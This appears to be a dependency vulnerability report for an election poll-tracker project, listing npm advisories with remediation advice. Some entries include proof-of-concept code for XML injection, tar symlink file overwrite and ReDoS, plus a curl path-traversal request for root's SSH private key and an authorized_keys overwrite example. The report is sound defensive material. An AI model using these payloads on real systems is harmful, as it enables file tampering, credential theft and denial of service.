Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.

PoC

Input;

const validator = require('validator');

console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);

Output:

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Remediation

Upgrade validator to version 13.15.22 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: whet.extend
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 whet.extend@0.9.9

Overview

whet.extend is an A sharped version of port of jQuery.extend that actually works on node.js

Affected versions of this package are vulnerable to Prototype Pollution due to improper user input sanitization when using the extend and _findValue functions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for whet.extend.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including normalize, serializeToString, getElementsByTagName, getElementsByTagNameNS, getElementsByClassName, getElementById, cloneNode, importNode, textContent, and isEqualNode. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.

PoC

const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');

const depth = 5000;
const xml = '<a>'.repeat(depth) + '</a>'.repeat(depth);
const doc = new DOMParser().parseFromString(xml, 'text/xml');
new XMLSerializer().serializeToString(doc);
// RangeError: Maximum call stack size exceeded

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like -->). An attacker can input --> to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the --> is treated as "live" XML markup by the serializer rather than harmless comment text.

PoC

const { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');

const doc = new DOMImplementation().createDocument(null, 'root', null);

doc.documentElement.appendChild(
  doc.createComment('--><injected attr="1"/><!--')
);

const xml = new XMLSerializer().serializeToString(doc);
console.log(xml);
// <root><!----><injected attr="1"/><!----></root>

const reparsed = new DOMParser().parseFromString(xml, 'text/xml');
console.log(reparsed.documentElement.childNodes.item(1).nodeName);
// injected

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection in the serialization of DocumentType nodes when attacker-controlled values are provided to the publicId, systemId, or internalSubset fields. An attacker can inject arbitrary XML markup into the serialized output by supplying specially crafted input to these fields, potentially leading to the injection of malicious DOCTYPE declarations or markup outside the intended context.

Note:

This is only exploitable if untrusted data is passed programmatically to createDocumentType or written directly to the relevant properties and then serialized without enabling strict validation.

Workaround

This vulnerability can be mitigated by passing the option { requireWellFormed: true } to XMLSerializer.serializeToString() to enforce validation of the affected fields.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection via the createProcessingInstruction function. An attacker can inject arbitrary XML nodes into the serialized output by supplying specially crafted data containing the PI-closing sequence, which is not validated or neutralized during serialization. This can alter the structure and meaning of generated XML documents, potentially impacting workflows that store, forward, sign, or parse XML.

Note:

This is only exploitable if the serialization is performed without passing the { requireWellFormed: true } option.

PoC

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const doc = new DOMImplementation().createDocument(null, 'r', null);
doc.documentElement.appendChild(
    doc.createProcessingInstruction('a', '?><z/><?q ')
);
console.log(new XMLSerializer().serializeToString(doc));
// <r><?a ?><z/><?q ?></r>
//          ^^^^ injected <z/> element is active markup

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash.template
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 gulp-util@3.0.8 lodash.template@3.6.2

Overview

lodash.template is a The Lodash method _.template exported as a Node.js module.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash.template to version 4.18.1 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.

By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.

Remediation

Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.

This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.

Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.

Note: This only affects users of node-tar on Windows systems.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Prototype Pollution through the copy() function in dom.js. Exploiting this vulnerability is possible via the p variable.

DISPUTED This vulnerability has been disputed by the maintainers of the package. Currently the only viable exploit that has been demonstrated is to pollute the target object (rather then the global object which is generally the case for Prototype Pollution vulnerabilities) and it is yet unclear if this limited attack vector exposes any vulnerability in the context of this package.

See the linked GitHub Issue for full details on the discussion around the legitimacy and potential revocation of this vulnerability.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for xmldom.

References

high severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

high severity

Improper Filtering of Special Elements

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.29.0.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..

Remediation

Upgrade sequelize to version 6.29.0 or higher.

References

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.

Remediation

Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.

References

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.

node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.

This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.

Remediation

Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC


const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: js-yaml
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to cssnano@4.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. An issue was discovered in LibSass through 3.5.4. An out-of-bounds read of a memory region was found in the function Sass::Prelexer::skip_over_scopes which could be leveraged by an attacker to disclose information or manipulated to read from unmapped memory causing a denial of service. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

Upgrade node-sass to version 4.11.0 or higher.

References

high severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3 follow-redirects@1.0.0
    Remediation: Upgrade to axios@0.16.1.

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection via the XMLSerializer() function. An attacker can manipulate the structure and integrity of generated XML documents by injecting attacker-controlled markup containing the CDATA terminator ]]> through CDATA section content, which is not properly validated or sanitized during serialization. This can result in unauthorized XML elements or attributes being inserted, potentially leading to business logic manipulation or privilege escalation in downstream consumers.

Remediation

There is no fixed version for xmldom.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.21.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.

PoC

// poc.js

var {trim} = require("axios/lib/utils");

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
